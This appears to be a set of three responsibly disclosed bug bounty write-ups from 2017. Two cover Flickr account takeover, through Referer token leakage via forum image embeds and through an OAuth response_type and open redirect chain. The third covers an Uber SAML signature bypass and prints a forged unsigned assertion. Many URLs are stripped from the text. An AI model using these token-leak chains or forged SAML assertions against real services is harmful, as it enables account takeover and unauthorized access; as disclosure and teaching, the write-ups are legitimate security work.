Yahoo Bug Bounty: Chaining 3 Minor Issues To Takeover Flickr Accounts


Flickr is an image and video hosting website which is owned by Yahoo and resides on the domain.

To handle authentication on Flickr, requests are made to to get an access token for the user.

Overview of the login flow

When a user wants to login to he clicks a sign-in button which redirects him to the following url:–&.intl=il&.lang=en&mg=1&

This is the Yahoo account login page where a user is prompted to enter his credentials. After completing the login form and clicking login, the user is first redirected to a Yahoo endpoint where his credentials are verified and then, if they are valid, he is redirected back to the following Flickr url:{first-token-value}&.ys={second-token-value} 

What happens now is that in the background Flickr verifies the .ys and .data parameters against the Yahoo verification server and logs the user in.

Stealing login tokens

So, it appears that if a user is already logged in to Yahoo and clicks the initial link:–&.intl=il&.lang=en&mg=1&

The flow just happens in the background without the need for a user to enter his credentials in Yahoo. This poses a higher risk of account takeover, due to the fact that the user just needs to click a single link (like in some OAuth implementations) for the authentication to happen for him. Knowing this I have started looking for potential bypass to this flow.

The first thing I have noticed is that the second .done parameter can be manipulated. This parameter actually controls where the login tokens are sent. It appears that Yahoo’s servers only verify that it starts with but we can still append ../ so if we append ../../test to the .done original value the .ys and .data tokens will be sent to endpoint.

So, this gives us a lead since if we find an open redirect somewhere on the origin we will be able to send the token to our own server. However, I wasn’t able to find one on the main domain. So, I looked for other ways to leak the token.

After some digging I came across this page: which states that images can be embedded in the comments on different Flickr pages. I thought that maybe if I could post an external image in a comment, the tokens will be leaked to my own server via the referrer field, since they’re still in the landing url. So I posted a comment on my own uploaded image with following content:

<img src=””&gt;

The image was really embedded in the comment, but unfortunately Yahoo were manipulating its src  value to the following:–~C

That was actually an internal Yahoo proxy so that Flickr won’t be leaking requests to external servers. BUT, it appeared that if I use some browser tricks I can manipulate the Flickr image processing logic. When posting the following comment:

<img src=”\/\/” />

the comment was not manipulated by the proxy and the src value stayed as is. So what should have happened now is that the image will be shown in the comments section of the photo, right? No, also the browser accepts this as a valid url there was some Content Security Policy applied:

Content-Security-Policy:  img-src data: blob: https://* https://* http://* https://* http://* https://* https://* https://* https://* https://* https://* https://* http://* https://* https://* https://* https://* https://*;

The img-src configuration blocked it since it was not on the white list, so I wasn’t actually able to embed external images after all.

Upon understanding this, I have tried to look if there are other endpoints on Flickr that are also allowing comments. After some time, I came across the forums page: It appeared that this page also supports the comments html embedding feature. And more importantly it appeared that there is no CSP applied on all* pages.

So I have posted the following comment on a thread in the forum:

<img src=”\/\/” />

And it worked, an external image was embedded here:

So all I had to do now was to construct the final url which looked like this:

What happened when a user clicked on the link is that he was redirected to{some-token}&.ys={second-token} and from here the following request was issued by his browser:



Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36

Accept: image/webp,image/*,*/*;q=0.8


Accept-Encoding: gzip, deflate, sdch, br

Accept-Language: he-IL,he;q=0.8,en-US;q=0.6,en;q=0.4,es;q=0.2

As you can see the Referer field contained the tokens which were sent to So what the attacker had to do now is just browse to the following url in his browser:{copied from referer}&.ys={copied from referer}

and he was logged in to the victim’s account.


Yahoo resolved this by doing several things. First – the .done parameter on the endpoint only allows now as a valid value. The image embedding logic’s bypass using “/\/\” is also fixed. And finally, there is now CSP applied on the Flickr forum.


Apr 2nd 2017 – Initial Report via Hackerone

Apr 3rd 2017 – Report Triaged

Apr 10th 2017 – Report Resolved

Apr 21st 2017 – 7K$ Bounty Rewarded

Uber Bug Bounty: Gaining Access To An Internal Chat System


Uber is an american company which provides ride sharing services over the Internet worldwide.

This post is about a simple, yet pretty severe vulnerability which allowed me to view the company’s internal chat system by abusing their vulnerable SAML implementation.

While searching for assets owned by the company which are in scope for their bug bounty program, I came across the following internal subdomain: I was able to find this subdomain by using the website with the wildcard.

After browsing this subdomain I was prompted with a button suggesting that I should login using the OneLogin SSO:


Since I already tested some Uber properties I guessed that this SSO was put in place in order to be used by Uber’s employees, utilizing SAML. Confirmation for this guess was received when the login button forwarded me to the following endpoint:

The only way I thought of attacking this implementation would be to create a simple SAML assertion and send it to the same endpoint by using a POST request.

Before proceeding with this post, if you are unfamiliar with SAML SSO I recommend you to visit to understand the basics of the SAML SSO flow.

I then set out to send a simple XML with no signature at all, in order to check if their SAML implemention indeed verifies the signature. To do this, I sent the following XML as part of a post request:

<samlp:Response xmlns:saml=”urn:oasis:names:tc:SAML:2.0:assertion” xmlns:samlp=”urn:oasis:names:tc:SAML:2.0:protocol” ID=”R0bdb6f33ef84425aa2782eab4483792762f297df” Version=”2.0″ IssueInstant=”2016-05-04T01:37:34Z” Destination=”” InResponseTo=”ONELOGIN_bd24d63eafe235201b1bc636823c84381dbe575c”>
<samlp:StatusCode Value=”urn:oasis:names:tc:SAML:2.0:status:Success”/>
<saml:Assertion xmlns:saml=”urn:oasis:names:tc:SAML:2.0:assertion” xmlns:xs=”; xmlns:xsi=”; Version=”2.0″ ID=”pfxb75932c2-2e44-d18d-224b-354849a292af” IssueInstant=”2016-05-04T01:37:34Z”>
<saml:NameID Format=”urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress”>
<saml:SubjectConfirmation Method=”urn:oasis:names:tc:SAML:2.0:cm:bearer”>
<saml:SubjectConfirmationData NotOnOrAfter=”2016-05-04T01:40:34Z” Recipient=”” InResponseTo=”ONELOGIN_bd24d63eafe235201b1bc636823c84381dbe575c”/>
<saml:Conditions NotBefore=”2016-05-04T01:34:34Z” NotOnOrAfter=”2016-05-04T01:40:34Z”>
<saml:AuthnStatement AuthnInstant=”2016-05-04T01:37:33Z” SessionNotOnOrAfter=”2016-05-05T01:37:34Z” SessionIndex=”_b340ffa0-f3c6-0133-3483-02a5406d9a2f”>
</saml:Attribute> <saml:Attribute NameFormat=”urn:oasis:names:tc:SAML:2.0:attrname-format:basic” Name=”Email”>
<saml:AttributeValue xmlns:xsi=”; xsi:type=”xs:string”>
<saml:Attribute NameFormat=”urn:oasis:names:tc:SAML:2.0:attrname-format:basic” Name=”memberOf”>
<saml:AttributeValue xmlns:xsi=”; xsi:type=”xs:string”>


When sending this SAML to the above endpoint, the server responded unexpectedly – instead of saying that my SAML Assertion was invalid since it didn’t contain any signature (to verify the SAML issuer), it responded with the following:

HTTP/1.1 302 Found

Date: Sat, 22 Apr 2017 08:33:35 GMT

Content-Type: text/plain; charset=utf-8

Content-Length: 0

Connection: keep-alive

Server: nginx/1.11.5

Set-Cookie: srv_id=; expires=Sun, 23-Apr-17 08:33:35 GMT;; path=/

Content-Security-Policy: frame-ancestors ‘self’

Location: /error?title=uchat+%28staging%29+needs+your+help%3A&message=SAML+login+was+unsuccessful+because+one+of+the+attributes+is+incorrect.


X-Cluster-Id: X-Frame-Options:

SAMEORIGIN X-Request-Id: uhg97nm9k3g19reb34gm8t6wjr


I understood that the username field was missing from my assertion so I have added it, and after some more errors (Firstname, and Lastname were also missing) I was actually able to login to the system, without possessing an Uber employee acount:


I was now able to view and access different chat groups of Uber’s employees, spam their channels and potentially login as each of Uber’s employees to any channel, effectively bypassing their authentication scheme.

I immediately reported this to Uber’s security team, who fixed this bug pretty quickly by adding validation of the SAML signature.


Apr 22nd 2017 – Initial report via Hackerone

Apr 25th 2017 – Report needs more info

Apr 25th 2017 – Video sent

Apr 29th 2017 – Report Triaged & 500$ given

May 1st 2017 – Report Resolved

May 1st 2017 – Another 8000$ rewarded

Yahoo Bug Bounty: Exploiting OAuth Misconfiguration To Takeover Flickr Accounts


Flickr is an image and video hosting website which is owned by Yahoo and resides on the domain.

Some time has passed since I have tested Flickr’s login flow, so I have decided to take a look and see if something has changed. Surprisingly, I have noticed that Yahoo implemented the classic OAuth login flow instead of the previous flow described in my previous post.

Overview of the new login flow

When a user wants to login to he clicks a sign-in button which redirects him to the following url:–&

If the user is not signed in to Yahoo, he is redirected to the Yahoo login page to enter his credentials and then back to the mentioned url. What happens after arriving to the OAuth endpoint is that Yahoo generates a code to identify the logged in user, which is sent back to Flickr via another redirect:{redacted}

What happens now is that in the background Flickr exchanges the code supplied by Yahoo for an access token, and retrieves data about the user using this access token. Flickr now logs the user in and redirects the user to the url passed through the redir parameter.

Taking over accounts

While testing Yahoo’s OAuth implementation I came across this page: stating that it’s possible to set the response_type parameter to contain multiple values. I have decided to check what happens if I set the parameter to have the value: code id_token. Surprisingly, instead of sending the code in the query string part of the url to Flickr, Yahoo were appending both the code and the id_token to the fragment part of the url, redirecting me to:{redacted}&id_token={redacted}

As you might know, the fragment part of the url (everything after #) is preserved when handling redirect responses from the server. So using this minor issue, we could potentially leak a victim’s code parameter to anywhere the redirect parameter points to.

However, Flickr only performs the redirect if a valid code is passed to the server via the query string. So, for an attacker to be able to leak the code, he actually needs to generate a code using his own account and then send it as part of the redirect_uri url.

So, we are currently able to leak the code value of a victim to the url passed in the redir parameter. However, it seems that Yahoo correctly verified that the url is of the form:*.

This means that we need to find an open redirect on in order to leak the authentication code to an attacker’s domain. Due to recent findings it was not an easy thing to do.

I was finally able to find such a redirect after downloading the Flickr android application. I have noticed that if the wrong token value is passed to a social sharing endpoint (available though the Flickr app and not available via the website) a redirect is performed to the callback_url parameter:

So, putting it together the attack flow looks like this:

An attacker generates a Flickr authentication code for his own test account. He then constructs the following url to send to the victim (here we use as the attacker’s server):–&{here-is-the-attacker’s-code} id_token&scope=openid%2Csdpp-w&nonce=bb1c92e088f38e9c323fe025d42c405f&.scrumb=jeTYmScEVYq

When the victim clicks the link he is redirected to{here-is-the-attacker’s-code}&{victim’s-code}&id_token={victim’s-id_token}

Which now logs the attacker into Flickr on the victim’s browser and redirects the victim to:{victim’s-code}&id_token={victim’s-id_token}

Which again redirects the victim to:{victim’s-code}&id_token={victim’s-id_token}

What happens here is that using javascript the attacker extracts the code from the url and browses:{victim’s-code}

This will log in the attacker to the victim’s Flickr account.


Aug 13th 2017 – Initial report via Hackerone

Aug 14th 2017 – Report triaged & initial reward of 500$ is given

Aug 15th 2017 – Report resolved (within 5 hours!)

Sep 6th 2017 – Additional 3500$ rewarded